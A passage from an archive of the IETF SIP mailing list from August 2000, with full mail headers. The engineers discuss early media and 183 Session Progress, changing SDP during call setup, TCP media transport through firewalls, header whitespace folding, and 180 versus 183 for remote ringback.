CSeq: 965506498 INVITE Supported: com.netergynet.media X-Media: Connect v=0 o=- 967711854878 967711854878 IN IP4 207.82.37.67 s=- c=IN IP4 207.82.37.226 t=0 0 m=audio 8000 RTP/AVP 0 F6 200 OK SIP/2.0 200 OK To: Anonymous From: sip:6540875@207.82.37.28 Via: SIP/2.0/UDP 207.82.37.28 Call-ID: 21d5a469-0b91-e89d-ba8a-9c067ec0f037@207.82.37.67 CSeq: 965506498 INVITE Content-Type: application/sdp Content-Length: 134 Supported: com.netergynet.media v=0 o=- 3295 7550 IN IP4 207.82.37.28 s=- c=IN IP4 207.82.37.28 t=0 0 m=audio 20698 RTP/AVP 0 F7 ACK ACK sip:6540875@207.82.37.28 SIP/2.0 To: Anonymous From: sip:6540875@207.82.37.28 Via: SIP/2.0/UDP 207.82.37.28 Content-Length: 0 Call-ID: 21d5a469-0b91-e89d-ba8a-9c067ec0f037@207.82.37.67 CSeq: 965506498 ACK Supported: com.netergynet.media With the header X-Media (to be renamed) : X-Media = "X-Media" ":" media-type media-type = "Alert" | "Progress" | "Connect" > > Jean-Hugues ROBERT wrote: > > > > Hi, > > > > Short form: In the presence of Early Media, prior to receiving 200 OK, how > > can a Caller tell a Callee to send media according to a *new* SDP ? Or "How > > can I put a call on hold when I hear a remotely generated ringback tone ?" > > > > Much longer form: > > > > It is generaly agreed that making Media and Signaling distinct is a good > > thing. Amoung other benefit it enables decomposed architectures and more > > generaly support the locality of concern principle. > > > > A prime example of this distinction is SDP usage in SIP. SIP is basically > > concerned by Signaling whereas SDP is about Media. > > > > Signaling is mainly about setting up and tearing down communications. Media > > is mainly about payload formats and destinations. > > > > It is my understanding that, prior to 183 Session Progress, Media data > > started to flow only after INVITE's 200 OK final response was received or > > acknowledged (depending on side). > > > > Afterward, changes impacting Media (changes in SDPs) occured at any time > > using re-INVITE. Callee could ask Caller "Please now handle Media according > > to this new SDP". Caller could do the same. This was fine. > > > > However, since 183 Provisionnal response was introduced, as well as other > > new occasions to change SDPs during call setup, Media can start to flow > > well before 200 OK, or even in the total absence of 200 OK. > > > > This may introduce an issue regarding control of Media, during the setup phase: > > Callee can still ask Caller "Please now handle Media according to this > > *new* SDP", simply sending a new 183. However I fear that Caller *cannot* > > ask Callee to change Media any more. > > > > To be fully accurate, it seems that Caller could still ask Callee to change > > Media, if SDP is allowed in PRACK, but only in response to Callee doing it > > first. Is SDP legal in PRACK's ack message ? > > > > So my question is: "In the presence of Early Media, how can a Caller ask a > > Callee to handle Media according to a new SDP when Caller's INVITE > > transaction is still not completed ?". > > > > One potential solution could be to allow re-INVITE while the "main" INVITE > > is still not completed. It is illegal today. This would introduce > > "nested-transaction", but I guess that (PR w/SDP + PRACK) is already a form > > of nested transaction, isn't it ? > > > > Another solution, probably simplier, would be to enable 183 "both ways": > > The Caller would have the rigth to send it to the Callee, potentially only > > in the presence of Early Media. But that seems weird, because it is a > > reponse without a question. > > > > If you are guessing "why the hell does this matter ?", please think of > > potential restrictions if Media cannot change while call is beeing setted up. > > > > One example related to mobility (probably not 100% relevant, not a thread > > to SIP for Mobility): > > Lets say I have a decomposed cheap wireless IP phone: > > - The expensive UA has a fixed IP address and a full featured SIP stack > > with a fancy Java user application, it handles multiple phones. > > - The cheap phones have no fixed IP addresses, a very ligth > > Codec+RTP+UDP+IP stack and some minimal stimulus protocol to interact with > > the UA. > > Whenever the phone's IP address changes, the UA will change the Media of > > the involved SIP calls, if any. > > > > Now the issue: What if the phone moves while receiving Early Media (say > > remote ringback tone) ? UA need to tell the Callee about the Calling > > phone's new IP address. How ? > > > > Other, simplier, issues: How do I put a call on hold when I am listening to > > some network generated annoucement ? How can an assistant, dialing on > > behalf of the boss, transfer the ringing call to the boss when ringback > > tone is generated remotely ? > > > > Any previous art in solving this issue (if it is actually an issue) ? > > Is there a similar issue in H.323 (Early H.245 related I guess) or was it > > solved ? > > > > BTW: A *radical* solution would be to avoid 1xx responses that initiate > > Early Media and have a 200 OK as soon as media is there (with probably some > > hints that the call/session is not "fully" established). Some yet to define > > "INFO Session Progress" could later on indicate how the call is > > progressing. This has the merit of beeing compatible with existing > > implementations. > > > > Jean-Hugues Robert > > --------------------------------------------------------------------------- > > "Fix Bugs First" > > Sophia General Manager. > > mailto:jhr@netergynet.com - We serve providers - "Think globally. > > http://www.netergynet.com - Hosted PBX solutions - Act locally." > > > > -- > Jonathan D. Rosenberg 72 Eagle Rock Ave. > Chief Scientist First Floor > dynamicsoft East Hanover, NJ 07936 > jdrosen@dynamicsoft.com FAX: (973) 952-5050 > http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 > http://www.dynamicsoft.com > -- Marc Petit-Huguenin Home: mailto:petithug@cyberservices.com Work: mailto:petithug@8x8.com "So much to do and so little time" The Joker - Batman (The Movie) _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 10:59:36 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA27901 for ; Thu, 17 Aug 2000 10:59:36 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 2161E4436D; Thu, 17 Aug 2000 10:59:19 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from polaris.shore.net (polaris.shore.net [207.244.124.105]) by lists.bell-labs.com (Postfix) with ESMTP id 494B944356 for ; Thu, 17 Aug 2000 10:59:16 -0400 (EDT) Received: from (hither.rfdsoftware.com) [209.192.222.62] by polaris.shore.net with esmtp (Exim) id 13PR8V-0005PY-00; Thu, 17 Aug 2000 10:59:15 -0400 Received: from cx991414-a.dialout.net (cx991414-a.crans1.ri.home.com [24.0.249.47]) by hither.rfdsoftware.com (8.9.2/8.9.2) with ESMTP id KAA09769; Thu, 17 Aug 2000 10:52:22 -0400 (EDT) Message-Id: <4.3.2.7.2.20000817101152.00d6ce70@webhost.tactical-sw.com> X-Sender: dnyon@webhost.tactical-sw.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Thu, 17 Aug 2000 10:38:17 -0400 To: Jonathan Rosenberg From: David Yon Subject: Re: [SIP] SIP, SDP, and TCP-based media transport Cc: "Fairlie-Cuninghame, Robert" , "'Christian Huitema'" , sip@lists.bell-labs.com In-Reply-To: <399B8B2A.E93F687A@dynamicsoft.com> References: <4.3.2.7.2.20000816091147.00d0b7a0@webhost.tactical-sw.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com At 02:50 AM 8/17/00 -0400, Jonathan Rosenberg wrote: >The difficulty here is that you are choosing to modify one of the >fundamental RTP design choices. RTP uses dynamic ports explicitly Since the TCP transport protocol I have in mind is not RTP, I am doing no such thing. >because you might have multiple sessions on the same host; thats why >there is no well known RTP port. Your problem is arising since you want >to discard this decision, use a single port for RTP, and demux based on >source IP address AND source port. Demuxing based on source address and >port info seems mightily dangerous, particulary in the presence of NATs >which routinely modify exactly these things. Once you have a NAT, the source port is the least of your problems, since the source IP address is also munged. This is where SIP ALPs come into play, and there's no reason why even a basic SIP ALP can't handle both address and port translation. >I guess your assumption is that if the media streams are always on a >well known port, we can convince firewall admins to allow inbound >connections to that port. I'm doubtful that this would really happen. Your guess is incorrect. The reason (among several) to have fixed ports on the "passive" side is not to convince firewall admins to allow inbound connections to that port, but rather to convince the hyper-paranoid firewall admins to allow *outbound* connections to that port. The topology is that the UA advertising "passive" is not behind a firewall, which allows UAs which *are* behind a firewall to (a) not require inbound connections, and (b) only have a single outbound port open. Asking an admin to open an outbound port on 2392 (for example) so that users can make use of a well-defined SIP-based service is a lot different than asking "gee, can you open ports 6000-8000?" David Yon Chief Technical Officer Dialout.Net, Inc. yon@dialout.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 11:01:12 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA28001 for ; Thu, 17 Aug 2000 11:01:12 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 9223E4438C; Thu, 17 Aug 2000 10:59:25 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from polaris.shore.net (polaris.shore.net [207.244.124.105]) by lists.bell-labs.com (Postfix) with ESMTP id 1543544359 for ; Thu, 17 Aug 2000 10:59:18 -0400 (EDT) Received: from (hither.rfdsoftware.com) [209.192.222.62] by polaris.shore.net with esmtp (Exim) id 13PR8X-0005QD-00; Thu, 17 Aug 2000 10:59:17 -0400 Received: from cx991414-a.dialout.net (cx991414-a.crans1.ri.home.com [24.0.249.47]) by hither.rfdsoftware.com (8.9.2/8.9.2) with ESMTP id KAA09772; Thu, 17 Aug 2000 10:52:32 -0400 (EDT) Message-Id: <4.3.2.7.2.20000817104314.00d969e0@webhost.tactical-sw.com> X-Sender: dnyon@webhost.tactical-sw.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Thu, 17 Aug 2000 10:59:33 -0400 To: "Fairlie-Cuninghame, Robert" , Jonathan Rosenberg From: David Yon Subject: RE: [SIP] SIP, SDP, and TCP-based media transport Cc: "'Christian Huitema'" , sip@lists.bell-labs.com In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com At 06:48 PM 8/16/00 -0700, Fairlie-Cuninghame, Robert wrote: > > > > > >Would both "TCP" and "RTP/AVP-TCP" share the same a= line > > options? Would > > >they therefore be described in the same I-D or is there > > sufficiently more > > >to say about RTP/AVP-TCP to warrant its own I-D? > > >I don't see why. We are prescribing the same mechanism for both cases, >right? So it seems silly to create two I-D's that describe the same >mechanism. I imagine that the RTP/AVP-TCP case will mostly simply reference >RFC1890. Ok, fine by me, just asking. :-) The nagging thought I have is: what does it mean to have a bidirectional media flow over RTP/AVP-TCP? Is it simply that RTP media packets are sent down one side of a single TCP connection and RTCP control packets are sent back the other side? So then for a bidirectional flow you'd have two TCP connections, one for each media direction? Sorry if this is a stupid question, but as you may have guessed I'm not an RTP expert. David Yon Chief Technical Officer Dialout.Net, Inc. yon@dialout.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 11:09:34 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA28077 for ; Thu, 17 Aug 2000 11:09:34 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 34E7444356; Thu, 17 Aug 2000 11:09:25 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mars.hss.co.in (unknown [202.54.26.197]) by lists.bell-labs.com (Postfix) with ESMTP id 9CCD644338 for ; Thu, 17 Aug 2000 11:09:13 -0400 (EDT) Received: from sampark.hss.hns.com (sampark.hss.hns.com [139.85.229.22]) by mars.hss.co.in (8.10.0/8.10.0) with SMTP id e7HDVMc22846; Thu, 17 Aug 2000 19:01:24 +0530 (IST) Received: by sampark.hss.hns.com(Lotus SMTP MTA Internal build v4.6.2 (651.2 6-10-1998)) id 6525693E.004A2DE9 ; Thu, 17 Aug 2000 18:59:13 +0530 X-Lotus-FromDomain: HSSBLR From: archow@hss.hns.com To: Gethin Liddell Cc: archow@hss.hns.com, sip@lists.bell-labs.com Message-ID: <6525693E.004955B2.00@sampark.hss.hns.com> Date: Thu, 17 Aug 2000 18:51:00 +0530 Subject: Re: [SIP] whitespace in SIP & SDP Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com I just re-read the previous thread about this - it did not exactly address what I was referring to. In the prev. thread, it was mentioned that: To: "Some string\[CR][LF] continued Only the CR is escaped. The LF begins another line and would need to be indented. On the other hand To: "Some string\[CR] continued" is just a single line. So expanding the above case To: "Some string\[CR] continued" should preserve LWS then ? Also what about: To: "Some string\[CR][LF] continued" do we ignore LWS or not in front while forming the string ? Regds Arjun Gethin Liddell on 08/17/2000 06:05:33 PM To: archow, river@win.tue.nl (Richard Verhoeven) cc: sip@lists.bell-labs.com Subject: Re: [SIP] whitespace in SIP & SDP On Thu, 17 Aug 2000, archow@hss.hns.com wrote: > (On a related note: A few days ago, someone pointed out an interesting case > of one line having a string without an ending quote, but slashed at the > end, the next line having an LWS and then some text and then the > terminating quote. - in which case I guess we cannot ignore the LWS > like we usually do for continuation lines". Just thought I'd re-mention > this interesting "torture" test wrt all our continuation line parsing > routines > we have in our implementations:-) ) do you mean, for example something like: Header: headerStuff ;param="This is a wrapped quoted string" i dont think we can really expect implementations to maintain the quantity of white space within the quoted parameter. Section C.1 (page 118 of bis-01) "SIP header field values can be folded onto multiple lines if the continuation line begins with a space or horizontal tab. All linear white space, including folding, has the same semantics as SP. A recipient MAY replace any linear white space with a single SP before interpreting the field value or forwarding the message downstream." whether it is in a quoted string or not i think is irrelevant. it still MAY be interpreted as a single white space. -- Gethin Liddell Ubiquity Software Corporation http://www.ubiquity.net mailto:gethin@ubiquity.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 11:12:31 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA28334 for ; Thu, 17 Aug 2000 11:12:30 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 40FC5443BF; Thu, 17 Aug 2000 11:10:22 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 312954433F for ; Thu, 17 Aug 2000 11:10:16 -0400 (EDT) Received: from dynamicsoft.com (ip18.honxr1.ras.tele.dk [195.249.119.18]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id LAA00433; Thu, 17 Aug 2000 11:11:44 -0400 (EDT) Message-ID: <399C0021.6C9B8C63@dynamicsoft.com> Date: Thu, 17 Aug 2000 17:09:21 +0200 From: Anders Kristensen Organization: dynamicsoft X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; I) X-Accept-Language: en MIME-Version: 1.0 To: Jonathan Rosenberg Cc: Jean-Hugues ROBERT , sip@lists.bell-labs.com Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183 ? References: <4.3.0.20000816121838.02785e50@mail.sophia.8x8.com> <399B8269.FBCABDC6@dynamicsoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit These are the kind of anomalies that are to be expected when nested calls are introduced. I believe when we had this discussion last time it all got down to billing eventually. I guess most people would agree that (ideally at least) the signaling protocol shouldn't depend on billing. Option 3 seems much preferable to me - avoid doing early media and set up legs properly. Option 2 is just an abomination. Anders Jonathan Rosenberg wrote: > > This is a really good issue. Thanks for bringing it up. > > Seems like there are really just three possibilities: > > 1. punt this problem; you can't change the parameters before the call is > setup > 2. allow reinvites before the 200 OK to change the parameters > 3. don't allow early media - send a 200 OK for this instead > > None of these are ideal. (2) worries me, as it introduces additional > complexity which I fear will have interactions with other things. (3) is > somewhat appealing, allowing us to return to the simpler model SIP > orginally had. However, people claimed this had nasty interactions with > billing systems and PSTN interworking. I wonder if we can't revisit this > and see if those issues could be resolved some other way? > > -Jonathan R. > > Jean-Hugues ROBERT wrote: > > > > Hi, > > > > Short form: In the presence of Early Media, prior to receiving 200 OK, how > > can a Caller tell a Callee to send media according to a *new* SDP ? Or "How > > can I put a call on hold when I hear a remotely generated ringback tone ?" > > > > Much longer form: > > > > It is generaly agreed that making Media and Signaling distinct is a good > > thing. Amoung other benefit it enables decomposed architectures and more > > generaly support the locality of concern principle. > > > > A prime example of this distinction is SDP usage in SIP. SIP is basically > > concerned by Signaling whereas SDP is about Media. > > > > Signaling is mainly about setting up and tearing down communications. Media > > is mainly about payload formats and destinations. > > > > It is my understanding that, prior to 183 Session Progress, Media data > > started to flow only after INVITE's 200 OK final response was received or > > acknowledged (depending on side). > > > > Afterward, changes impacting Media (changes in SDPs) occured at any time > > using re-INVITE. Callee could ask Caller "Please now handle Media according > > to this new SDP". Caller could do the same. This was fine. > > > > However, since 183 Provisionnal response was introduced, as well as other > > new occasions to change SDPs during call setup, Media can start to flow > > well before 200 OK, or even in the total absence of 200 OK. > > > > This may introduce an issue regarding control of Media, during the setup phase: > > Callee can still ask Caller "Please now handle Media according to this > > *new* SDP", simply sending a new 183. However I fear that Caller *cannot* > > ask Callee to change Media any more. > > > > To be fully accurate, it seems that Caller could still ask Callee to change > > Media, if SDP is allowed in PRACK, but only in response to Callee doing it > > first. Is SDP legal in PRACK's ack message ? > > > > So my question is: "In the presence of Early Media, how can a Caller ask a > > Callee to handle Media according to a new SDP when Caller's INVITE > > transaction is still not completed ?". > > > > One potential solution could be to allow re-INVITE while the "main" INVITE > > is still not completed. It is illegal today. This would introduce > > "nested-transaction", but I guess that (PR w/SDP + PRACK) is already a form > > of nested transaction, isn't it ? > > > > Another solution, probably simplier, would be to enable 183 "both ways": > > The Caller would have the rigth to send it to the Callee, potentially only > > in the presence of Early Media. But that seems weird, because it is a > > reponse without a question. > > > > If you are guessing "why the hell does this matter ?", please think of > > potential restrictions if Media cannot change while call is beeing setted up. > > > > One example related to mobility (probably not 100% relevant, not a thread > > to SIP for Mobility): > > Lets say I have a decomposed cheap wireless IP phone: > > - The expensive UA has a fixed IP address and a full featured SIP stack > > with a fancy Java user application, it handles multiple phones. > > - The cheap phones have no fixed IP addresses, a very ligth > > Codec+RTP+UDP+IP stack and some minimal stimulus protocol to interact with > > the UA. > > Whenever the phone's IP address changes, the UA will change the Media of > > the involved SIP calls, if any. > > > > Now the issue: What if the phone moves while receiving Early Media (say > > remote ringback tone) ? UA need to tell the Callee about the Calling > > phone's new IP address. How ? > > > > Other, simplier, issues: How do I put a call on hold when I am listening to > > some network generated annoucement ? How can an assistant, dialing on > > behalf of the boss, transfer the ringing call to the boss when ringback > > tone is generated remotely ? > > > > Any previous art in solving this issue (if it is actually an issue) ? > > Is there a similar issue in H.323 (Early H.245 related I guess) or was it > > solved ? > > > > BTW: A *radical* solution would be to avoid 1xx responses that initiate > > Early Media and have a 200 OK as soon as media is there (with probably some > > hints that the call/session is not "fully" established). Some yet to define > > "INFO Session Progress" could later on indicate how the call is > > progressing. This has the merit of beeing compatible with existing > > implementations. > > > > Jean-Hugues Robert > > --------------------------------------------------------------------------- > > "Fix Bugs First" > > Sophia General Manager. > > mailto:jhr@netergynet.com - We serve providers - "Think globally. > > http://www.netergynet.com - Hosted PBX solutions - Act locally." > > > > _______________________________________________ > > SIP mailing list > > SIP@lists.bell-labs.com > > http://lists.bell-labs.com/mailman/listinfo/sip > > -- > Jonathan D. Rosenberg 72 Eagle Rock Ave. > Chief Scientist First Floor > dynamicsoft East Hanover, NJ 07936 > jdrosen@dynamicsoft.com FAX: (973) 952-5050 > http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 > http://www.dynamicsoft.com > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 12:33:20 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA29809 for ; Thu, 17 Aug 2000 12:33:20 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 8B8614433A; Thu, 17 Aug 2000 12:33:04 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mgw-x1.nokia.com (mgw-x1.nokia.com [131.228.20.21]) by lists.bell-labs.com (Postfix) with ESMTP id A330B44338 for ; Thu, 17 Aug 2000 12:33:00 -0400 (EDT) Received: from mgw-i2.ntc.nokia.com (mgw-i2.ntc.nokia.com [131.228.118.61]) by mgw-x1.nokia.com (8.10.2/8.10.2/Nokia) with ESMTP id e7HGWkk03243 for ; Thu, 17 Aug 2000 19:32:48 +0300 (EET DST) Received: from daebh02nok.americas.nokia.com (daebh02nok.americas.nokia.com [172.18.242.183]) by mgw-i2.ntc.nokia.com (8.10.2/8.10.2/Nokia) with ESMTP id e7HGWiw15878 for ; Thu, 17 Aug 2000 19:32:44 +0300 (EET DST) Received: by daebh02nok with Internet Mail Service (5.5.2448.0) id ; Thu, 17 Aug 2000 11:32:43 -0500 Message-ID: From: Cliff.Harris@nokia.com To: SIP@lists.bell-labs.com Subject: RE: [SIP] isomorphic clarification Date: Thu, 17 Aug 2000 11:27:10 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com One possible source of confusion is that the definition of "isomorphic" includes both requests and responses, but the RFCbis never uses the word "isomorphic" in relation to responses. I'm not sure that there is any particular significance to isomorphic responses. For example, if the UAS sends a 183 to start an early media session, and then sends a second 183 to modify that session, the two 183's are isomorphic, but they are not identical and both need to be processed. On the other hand, the draft on reliable provisional responses doesn't use the word "isomorphic". Perhaps isomorphic reliable provisional responses should be defined there, and the definition would need to include matching RSeqs. > -----Original Message----- > From: EXT Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com] > Sent: Friday, August 11, 2000 1:23 PM > To: Garret Wilson > Cc: SIP List > Subject: Re: [SIP] isomorphic clarification > > > > > Garret Wilson wrote: > > > > The SIP specification states that, "Two requests or > responses are defined to > > be isomorphic for the purposes > > of this document if they have the same values for the > Call-ID, To, From and > > CSeq header fields." > > The -01 draft also mentions that the Request URIs must be > identical, to > support spirals. > > As an additional thing, the *top* Vias must be the same, in order to > detect merged requests. We should add this here and elsewhere in the > document as needed. > > You later write: > > I just realized that the latest spec explains how to > compare URIs. The > > question remains that, if two URI's are equal yet not > identical in string > > format, are two From headers (for example) which contain > these two URIs > > considered to have the "same value" as per the definition > of isomorphic? > > Yes. Two FRoms are equal if (1) their URIs match under URI comparison, > (2) their From parameters match, based on standard matching rules for > header parameters (case sensitive equality of both name and value). > > It might be a good idea to formally define "identical" in > this section. > Its a constant source of confusion and problems at the bakeoffs. > > -Jonathan R. > > > -- > Jonathan D. Rosenberg 72 Eagle Rock Ave. > Chief Scientist First Floor > dynamicsoft East Hanover, NJ 07936 > jdrosen@dynamicsoft.com FAX: (973) 952-5050 > http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 > http://www.dynamicsoft.com > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 13:16:24 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA00713 for ; Thu, 17 Aug 2000 13:16:24 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 9364444343; Thu, 17 Aug 2000 13:15:21 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from broadsoft.com (broadsoft.com [161.58.239.68]) by lists.bell-labs.com (Postfix) with ESMTP id E52C744338 for ; Thu, 17 Aug 2000 13:15:17 -0400 (EDT) Received: from tate ([216.181.56.35]) by broadsoft.com (8.8.8) id NAA36231; Thu, 17 Aug 2000 13:15:16 -0400 (EDT) Message-ID: <0c7201c0086f$4cf99130$3202a8c0@broadsoft.com> From: "Brett Tate" To: "Fairlie-Cuninghame, Robert" , References: Subject: Re: [SIP] Remote ringback. Date: Thu, 17 Aug 2000 13:19:28 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit ----- Original Message ----- From: Fairlie-Cuninghame, Robert To: 'Taichi Fu' ; Sent: Tuesday, August 15, 2000 8:58 PM Subject: RE: [SIP] Remote ringback. > Ok, if 180 is to be used for remote ringback (ie SDP in the 180 response) > then I believe that a reference needs to be made to this usage in > RFC2543bis; a clarification is also needed on the different handling of a > 180 with or without SDP (for instance, if a 180 response is received with an > SDP body is it a SHOULD or a MAY that the specified audio stream should be > played?); and lastly, an example should be placed somewhere (either in > RFC2543 or otherwise definitely in the call flows draft). For clarity, I agree that the rfc2543 should mention what receiving 180, 181, 182, 183 with an SDP for an INVITE explicitly means. If A receives 18x with SDP from B, can/should A start sending to B? I assume no for 180 and yes for 181, 182 and 183 but I have not found it explicitly stated anywhere. There were some test cases that I was hoping to test at the bakeoff, but didn't get the chance. Text relating to the test cases may be useful in the rfc. - A invites B. B replies 180 with SDP. B then replies 180 without SDP. Expected result: A should start providing local ringback. - A invites B with multiple codecs. B replies 180 SDP with codec 0; then B replies 180 SDP with codec 2. Expected result: A should stop using codec 0 and start using codec 2. - A invites B. A forking proxy was involved. A forking proxy returned two 18x with SDP and different "TO" tags. Should the received media be mixed? I assume no until maybe after having received a 200 on one of the legs. > > The 183 draft also needs also be explicitly clarified in this respect.[IMO] My understanding is that the 183 draft is expired, and any aspects from the draft that were to be adopted have been pulled into rfc2543bis. > > Cheers, > > Robert. > > -- My opinions are my own. I tried selling them once but everybody > seems to already have one. -- > > -----Original Message----- > > From: Taichi Fu [mailto:tfu@cisco.com] > > Sent: Friday, August 11, 2000 12:31 PM > > To: Fairlie-Cuninghame, Robert; 'sip@lists.bell-labs.com' > > Cc: tfu@cisco.com > > Subject: Re: [SIP] Remote ringback. > > > > > > At 07:28 PM 8/10/00 -0700, Fairlie-Cuninghame, Robert wrote: > > > > > >At the SIP bakeoff, a colleague had a conversation with one of the > > >co-authors of the 183 Session Progress draft. > > > > > >He (the co-author) informed us that 183 is meant to be used > > when the remote > > >UA wants to provide > > >some other, unknown message/signal - and _not_ simply remote > > ringback. > > > > > >180 with an SDP body should be used for that purpose. > > > > >This came as quite a surprise as it seems to be at odds with > > RFC2543 which > > >makes no mention about the validity or handing 180 with SDP > > and states that > > >183 SHOULD include an SDP for session progress tones (or > > announcements). > > >[Without defining session progress tones.] > > > > The rfcbis (Aug. 06 from http://www.cs.columbia.edu/sip) > > states that 180 is to indicate that the some attemp is made > > to alert the called party while 183 is to indicate 'progress > > of the call which is not otherwise classified' (p.62). So the > > distinction between 180 and 183 seems clear in rfcbis. Maybe > > there is still a little room left to exactly define the 180 > > and 183 semantics, but if it is certain that a called party > > is located and alerting is being applied successfully, I > > think 180 should be used. If it is not certain, 183. > > > > >Even the 183 draft seems to only associate 180 with local alerting. > > > > > >At the bakeoffs 183 seems to have been implemented widely for remote > > >ringback. > > > > > >Can anyone shed some light on this? > > > > > >Robert. > > > > > >-- My opinions are my own. I tried selling them once but everybody > > > seems to already have one. -- > > > > > > > > > > > >_______________________________________________ > > >SIP mailing list > > >SIP@lists.bell-labs.com > > >http://lists.bell-labs.com/mailman/listinfo/sip > > > > > > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 13:35:11 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA01161 for ; Thu, 17 Aug 2000 13:35:10 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 3810344349; Thu, 17 Aug 2000 13:34:21 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from 